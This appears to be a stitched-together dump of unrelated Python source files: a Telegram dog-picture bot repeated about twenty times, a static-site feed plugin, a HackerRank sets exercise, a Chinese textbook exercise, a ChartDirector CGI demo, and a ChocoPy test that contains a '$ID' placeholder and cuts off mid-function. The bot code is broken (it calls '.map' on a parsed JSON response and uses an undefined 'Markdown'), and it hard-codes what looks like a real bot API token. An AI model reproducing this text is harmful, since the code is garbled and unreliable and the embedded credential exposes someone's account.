requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main() def get_url(): contents = requests.get('https://random.dog/woof.json').json() url = contents['url'] return url def get_tasks(): response = requests.get('https://nowwat.herokuapp.com/api/tasks.json').json() def extract_list(obj): return obj.map(lambda item: item.title) tasks = extract_list(response) return tasks # sending the image: # we require: # - the image URL # - the recipient's ID: group/user id def bop(bot, update): # image url: url = get_url() # recipient's ID: chat_id = update.message.chat_id bot.send_photo(chat_id=chat_id, photo=url) def getTaskList(bot, update): taskList = get_tasks() chat_id = update.message.chat_id for task in taskList: bot.sendMessage(chat_id, task, Markdown); def main(): updater = Updater('982938821:AAHiN0-7hIPahKJm6lWPyQ0UupOsuhP1GsQ') dp = updater.dispatcher dp.add_handler(CommandHandler('bop',bop)) updater.start_polling() updater.idle() if __name__ == '__main__': main()
96b00132f49b7b82711d9026c6d8585b771ebd65
5813c01847dd998df24510f1219a44c10717e65f
/flamingo/plugins/feeds.py
6e06bc90a44416fa14250f12bd15cb5b8a4dde47
[ "Apache-2.0" ]
permissive
robert-figura/flamingo
da52e8e3f3cf29f59f393ebae23b3a732f4143bd
63cbc5519b6e6b23a31d4e5153dd84976b6ef39f
refs/heads/master
2020-08-03T19:14:23.390513
2019-09-12T18:42:14
2019-09-30T14:35:51
211,857,258
0
0
null
null
null
null
UTF-8
Python
false
false
3,266
py
import logging from feedgen.feed import FeedGenerator logger = logging.getLogger('flamingo.plugins.Feeds') class Feeds: def pre_build(self, context): FEEDS_DOMAIN = getattr(context.settings, 'FEEDS_DOMAIN', '/') FEEDS = getattr(context.settings, 'FEEDS', []) for feed_config in FEEDS: try: content = { 'type': 'feed', 'feed_type': feed_config['type'], 'output': feed_config['output'], 'url': '/' + feed_config['output'], } if 'lang' in feed_config: content['lang'] = feed_config['lang'] fg = FeedGenerator() fg.id(feed_config['id']) fg.title(feed_config['title']) for i in feed_config['contents'](context): fe = fg.add_entry() # setup required entry attributes fe_title = i['content_title'] fe_link = { 'href': '{}{}'.format(FEEDS_DOMAIN, i['url']), 'rel': 'alternate' } if 'entry-id' in feed_config: fe_id = feed_config['entry-id'](i) else: fe_id = i['output'] if 'updated' in feed_config: fe_updated = feed_config['updated'](i) else: fe_updated = '' # check entry attributes missing_attributes = [] if not fe_id: missing_attributes.append('id') if not fe_title: missing_attributes.append('title') if not fe_updated: missing_attributes.append('updated') if missing_attributes: logger.error('%s is missing attributes: %s', i['path'] or i, ', '.join(missing_attributes)) return # optional attributes fe.id(fe_id) fe.title(fe_title) fe.updated(fe_updated) fe.link(fe_link) if i['content_body']: fe.content(i['content_body'], type='html') if i['authors']: for author in i['authors']: fe.author({ 'name': author, }) if i['summary']: fe.summary(str(i['summary'])) # generate output if feed_config['type'] == 'atom': content['content_body'] = fg.atom_str().decode() elif feed_config['type'] == 'rss': content['content_body'] = fg.rss_str().decode() context.contents.add(**content) except Exception: logger.error("feed '%s' setup failed", feed_config['id'], exc_info=True)
531687d1a028a86dd301e9e9d25034c0d5df19cd
b10c3eb402e155da2eba5d4e6175f0ea145685be
/Practice/Python/py-introduction-to-sets.py
d7854cad492b52c7eb421ebea5946ecf5d4168f3
[]
no_license
prayagsrivastava/HackerRank
2c3cff07a7de125d016eaa9510f488ea7f72015c
e5a5fbd6286ac3cc44a65c4408e6c983fdeb0c8e
refs/heads/master
2023-08-18T10:03:48.473061
2021-10-12T19:33:56
2021-10-12T19:33:56
405,563,300
0
0
null
null
null
null
UTF-8
Python
false
false
1,746
py
def average(array): a = set(array) s = sum(a)/len(a) return f"{s:.3f}" if __name__ == '__main__': n = int(input()) arr = list(map(int, input().split())) result = average(arr) print(result) """ >> a = raw_input() 5 4 3 2 >> lis = a.split() >> print (lis) ['5', '4', '3', '2'] >> newlis = list(map(int, lis)) >> print (newlis) [5, 4, 3, 2] >> myset = {1, 2} # Directly assigning values to a set >> myset = set() # Initializing a set >> myset = set(['a', 'b']) # Creating a set from a list >> myset {'a', 'b'} >> myset.add('c') >> myset {'a', 'c', 'b'} >> myset.add('a') # As 'a' already exists in the set, nothing happens >> myset.add((5, 4)) >> myset {'a', 'c', 'b', (5, 4)} >> myset.update([1, 2, 3, 4]) # update() only works for iterable objects >> myset {'a', 1, 'c', 'b', 4, 2, (5, 4), 3} >> myset.update({1, 7, 8}) >> myset {'a', 1, 'c', 'b', 4, 7, 8, 2, (5, 4), 3} >> myset.update({1, 6}, [5, 13]) >> myset {'a', 1, 'c', 'b', 4, 5, 6, 7, 8, 2, (5, 4), 13, 3} >> myset.discard(10) >> myset {'a', 1, 'c', 'b', 4, 5, 7, 8, 2, 12, (5, 4), 13, 11, 3} >> myset.remove(13) >> myset {'a', 1, 'c', 'b', 4, 5, 7, 8, 2, 12, (5, 4), 11, 3} Both the discard() and remove() functions take a single value as an argument and removes that value from the set. If that value is not present, discard() does nothing, but remove() will raise a KeyError exception. >> a = {2, 4, 5, 9} >> b = {2, 4, 11, 12} >> a.union(b) # Values which exist in a or b {2, 4, 5, 9, 11, 12} >> a.intersection(b) # Values which exist in a and b {2, 4} >> a.difference(b) # Values which exist in a but not in b {9, 5} >> a.union(b) == b.union(a) True >> a.intersection(b) == b.intersection(a) True >> a.difference(b) == b.difference(a) False """
9f8af437d7187a9b8c4ce3def70c252d1776f115
5f447244723386902a5fbbb94ae45e5e04ec4d93
/08-函数/动手试一试/user_albums.py
2cd6e951005923b7ec008c846c7de6d3b3d4c750
[]
no_license
xuelang201201/PythonCrashCourse
2c0a633773340b748100a3349267e693ed2703da
55c729ec53c7870a327e5017e69ac853b024d58a
refs/heads/master
2022-09-12T06:13:14.302904
2020-05-30T07:40:24
2020-05-30T07:40:24
264,503,065
0
0
null
null
null
null
UTF-8
Python
false
false
918
py
""" 用户的专辑:在为完成练习 8-7 编写的程序中,编写一个 while 循环,让用户输入一个专辑的歌手和名称。获取这些信息后, 使用它们来调用函数 make_album(),并将创建的字典打印出来。在这个 while 循环中,务必要提供退出途径。 """ def make_album(artist, title, tracks=int()): album_dict = { 'artist': artist.title(), 'title': title.title(), } if tracks: album_dict['tracks'] = tracks return album_dict title_prompt = "\nWhat album are you thinking of? " artist_prompt = "Who's the artist? " print("Enter 'quit' at any time to stop.") while True: title = input(title_prompt) if title == 'quit': break artist = input(artist_prompt) if artist == 'quit': break album = make_album(title=title, artist=artist) print(album) print("\nThanks for responding!")
a8e929b25a61e9552c4e32c67d6c3fa98304d4f0
79f42fd0de70f0fea931af610faeca3205fd54d4
/base_lib/ChartDirector/pythondemo_cgi/realtimedemo.py
51f8dc21d7e9e74fb3657b15b89712634d16efbc
[ "IJG" ]
permissive
fanwen390922198/ceph_pressure_test
a900a6dc20473ae3ff1241188ed012d22de2eace
b6a5b6d324e935915090e791d9722d921f659b26
refs/heads/main
2021-08-27T16:26:57.500359
2021-06-02T05:18:39
2021-06-02T05:18:39
115,672,998
0
0
null
null
null
null
UTF-8
Python
false
false
3,605
py
#!/usr/bin/python from pychartdir import * # # In this demo, the generated web page needs to load the "cdjcv.js" Javascript file. For ease of # installation, we put "cdjcv.js" in the same directory as this script. However, if this script is # installed in a CGI only directory (such as cgi-bin), the web server would not allow the browser to # access this non-CGI file. # # To get around this potential issue, a special load resource script is used to load these files. # Instead of using: # # <SCRIPT SRC="cdjcv.js"> # # we now use: # # <SCRIPT SRC="loadresource.py?file=cdjcv.js"> # # If this script is not in a CGI only directory, you may replace the following loadResource string # with an empty string "" to improve performance. # loadResource = "loadresource.py?file=" print("Content-type: text/html\n") print(""" <!DOCTYPE html> <html> <head> <title>Simple Realtime Chart</title> <script type="text/javascript" src="%(loadResource)scdjcv.js"></script> </head> <body style="margin:0px"> <table cellspacing="0" cellpadding="0" border="0"> <tr> <td align="right" colspan="2" style="background:#000088; color:#ffff00; padding:0px 4px 2px 0px;"> <a style="color:#FFFF00; font:italic bold 10pt Arial; text-decoration:none" href="http://www.advsofteng.com/"> Advanced Software Engineering </a> </td> </tr> <tr valign="top"> <td style="width:130px; background:#c0c0ff; border-right:black 1px solid; border-bottom:black 1px solid;"> <br /> <br /> <div style="font:12px Verdana; padding:10px;"> <b>Update Period</b><br /> <select id="UpdatePeriod" style="width:110px"> <option value="5">5</option> <option value="10" selected="selected">10</option> <option value="20">20</option> <option value="30">30</option> <option value="60">60</option> </select> <br /><br /><br /> <b>Time Remaining</b><br /> <div style="width:108px; border:#888888 1px inset;"> <div style="margin:3px" id="TimeRemaining">0</div> </div> </div> </td> <td> <div style="font: bold 20pt Arial; margin:5px 0px 0px 5px;"> Simple Realtime Chart </div> <hr style="border:solid 1px #000080" /> <div style="padding:0px 5px 5px 10px"> <!-- ****** Here is the image tag for the chart image ****** --> <img id="ChartImage1" src="realtimechart.py?chartId=demoChart1"> </div> </td> </tr> </table> <script type="text/javascript"> // // Executes once every second to update the countdown display. Updates the chart when the countdown reaches 0. // function timerTick() { // Get the update period and the time left var updatePeriod = parseInt(document.getElementById("UpdatePeriod").value); var timeLeft = Math.min(parseInt(document.getElementById("TimeRemaining").innerHTML), updatePeriod) - 1; if (timeLeft == 0) // Can update the chart now JsChartViewer.get('ChartImage1').streamUpdate(); else if (timeLeft < 0) // Reset the update period timeLeft += updatePeriod; // Update the countdown display document.getElementById("TimeRemaining").innerHTML = timeLeft; } window.setInterval("timerTick()", 1000); </script> </body> </html> """ % { "loadResource" : loadResource })
e83afab00de38ccdccb7b53ebfa70b75e720ec5d
c9ddbdb5678ba6e1c5c7e64adf2802ca16df778c
/cases/synthetic/coverage-big-388.py
506ecf30dc7aa199064945d3322898ab96c57133
[]
no_license
Virtlink/ccbench-chocopy
c3f7f6af6349aff6503196f727ef89f210a1eac8
c7efae43bf32696ee2b2ee781bdfe4f7730dec3f
refs/heads/main
2023-04-07T15:07:12.464038
2022-02-03T15:42:39
2022-02-03T15:42:39
451,969,776
0
0
null
null
null
null
UTF-8
Python
false
false
13,350
py
count:int = 0 count2:int = 0 count3:int = 0 count4:int = 0 count5:int = 0 def foo(s: str) -> int: return len(s) def foo2(s: str, s2: str) -> int: return len(s) def foo3(s: str, s2: str, s3: str) -> int: return len(s) def foo4(s: str, s2: str, s3: str, s4: str) -> int: return len(s) def foo5(s: str, s2: str, s3: str, s4: str, s5: str) -> int: return len(s) class bar(object): p: bool = True def baz(self:"bar", xx: [int]) -> str: global count x:int = 0 y:int = 1 def qux(y: int) -> object: nonlocal x if x > y: x = -1 for x in xx: self.p = x == 2 qux(0) # Yay! ChocoPy count = count + 1 while x <= 0: if self.p: xx[0] = xx[1] self.p = not self.$ID x = x + 1 elif foo("Long"[0]) == 1: self.p = self is None return "Nope" class bar2(object): p: bool = True p2: bool = True def baz(self:"bar2", xx: [int]) -> str: global count x:int = 0 y:int = 1 def qux(y: int) -> object: nonlocal x if x > y: x = -1 for x in xx: self.p = x == 2 qux(0) # Yay! ChocoPy count = count + 1 while x <= 0: if self.p: xx[0] = xx[1] self.p = not self.p x = x + 1 elif foo("Long"[0]) == 1: self.p = self is None return "Nope" def baz2(self:"bar2", xx: [int], xx2: [int]) -> str: global count x:int = 0 x2:int = 0 y:int = 1 y2:int = 1 def qux(y: int) -> object: nonlocal x if x > y: x = -1 def qux2(y: int, y2: int) -> object: nonlocal x nonlocal x2 if x > y: x = -1 for x in xx: self.p = x == 2 qux(0) # Yay! ChocoPy count = count + 1 while x <= 0: if self.p: xx[0] = xx[1] self.p = not self.p x = x + 1 elif foo("Long"[0]) == 1: self.p = self is None return "Nope" class bar3(object): p: bool = True p2: bool = True p3: bool = True def baz(self:"bar3", xx: [int]) -> str: global count x:int = 0 y:int = 1 def qux(y: int) -> object: nonlocal x if x > y: x = -1 for x in xx: self.p = x == 2 qux(0) # Yay! ChocoPy count = count + 1 while x <= 0: if self.p: xx[0] = xx[1] self.p = not self.p x = x + 1 elif foo("Long"[0]) == 1: self.p = self is None return "Nope" def baz2(self:"bar3", xx: [int], xx2: [int]) -> str: global count x:int = 0 x2:int = 0 y:int = 1 y2:int = 1 def qux(y: int) -> object: nonlocal x if x > y: x = -1 def qux2(y: int, y2: int) -> object: nonlocal x nonlocal x2 if x > y: x = -1 for x in xx: self.p = x == 2 qux(0) # Yay! ChocoPy count = count + 1 while x <= 0: if self.p: xx[0] = xx[1] self.p = not self.p x = x + 1 elif foo("Long"[0]) == 1: self.p = self is None return "Nope" def baz3(self:"bar3", xx: [int], xx2: [int], xx3: [int]) -> str: global count x:int = 0 x2:int = 0 x3:int = 0 y:int = 1 y2:int = 1 y3:int = 1 def qux(y: int) -> object: nonlocal x if x > y: x = -1 def qux2(y: int, y2: int) -> object: nonlocal x nonlocal x2 if x > y: x = -1 def qux3(y: int, y2: int, y3: int) -> object: nonlocal x nonlocal x2 nonlocal x3 if x > y: x = -1 for x in xx: self.p = x == 2 qux(0) # Yay! ChocoPy count = count + 1 while x <= 0: if self.p: xx[0] = xx[1] self.p = not self.p x = x + 1 elif foo("Long"[0]) == 1: self.p = self is None return "Nope" class bar4(object): p: bool = True p2: bool = True p3: bool = True p4: bool = True def baz(self:"bar4", xx: [int]) -> str: global count x:int = 0 y:int = 1 def qux(y: int) -> object: nonlocal x if x > y: x = -1 for x in xx: self.p = x == 2 qux(0) # Yay! ChocoPy count = count + 1 while x <= 0: if self.p: xx[0] = xx[1] self.p = not self.p x = x + 1 elif foo("Long"[0]) == 1: self.p = self is None return "Nope" def baz2(self:"bar4", xx: [int], xx2: [int]) -> str: global count x:int = 0 x2:int = 0 y:int = 1 y2:int = 1 def qux(y: int) -> object: nonlocal x if x > y: x = -1 def qux2(y: int, y2: int) -> object: nonlocal x nonlocal x2 if x > y: x = -1 for x in xx: self.p = x == 2 qux(0) # Yay! ChocoPy count = count + 1 while x <= 0: if self.p: xx[0] = xx[1] self.p = not self.p x = x + 1 elif foo("Long"[0]) == 1: self.p = self is None return "Nope" def baz3(self:"bar4", xx: [int], xx2: [int], xx3: [int]) -> str: global count x:int = 0 x2:int = 0 x3:int = 0 y:int = 1 y2:int = 1 y3:int = 1 def qux(y: int) -> object: nonlocal x if x > y: x = -1 def qux2(y: int, y2: int) -> object: nonlocal x nonlocal x2 if x > y: x = -1 def qux3(y: int, y2: int, y3: int) -> object: nonlocal x nonlocal x2 nonlocal x3 if x > y: x = -1 for x in xx: self.p = x == 2 qux(0) # Yay! ChocoPy count = count + 1 while x <= 0: if self.p: xx[0] = xx[1] self.p = not self.p x = x + 1 elif foo("Long"[0]) == 1: self.p = self is None return "Nope" def baz4(self:"bar4", xx: [int], xx2: [int], xx3: [int], xx4: [int]) -> str: global count x:int = 0 x2:int = 0 x3:int = 0 x4:int = 0 y:int = 1 y2:int = 1 y3:int = 1 y4:int = 1 def qux(y: int) -> object: nonlocal x if x > y: x = -1 def qux2(y: int, y2: int) -> object: nonlocal x nonlocal x2 if x > y: x = -1 def qux3(y: int, y2: int, y3: int) -> object: nonlocal x nonlocal x2 nonlocal x3 if x > y: x = -1 def qux4(y: int, y2: int, y3: int, y4: int) -> object: nonlocal x nonlocal x2 nonlocal x3 nonlocal x4 if x > y: x = -1 for x in xx: self.p = x == 2 qux(0) # Yay! ChocoPy count = count + 1 while x <= 0: if self.p: xx[0] = xx[1] self.p = not self.p x = x + 1 elif foo("Long"[0]) == 1: self.p = self is None return "Nope" class bar5(object): p: bool = True p2: bool = True p3: bool = True p4: bool = True p5: bool = True def baz(self:"bar5", xx: [int]) -> str: global count x:int = 0 y:int = 1 def qux(y: int) -> object: nonlocal x if x > y: 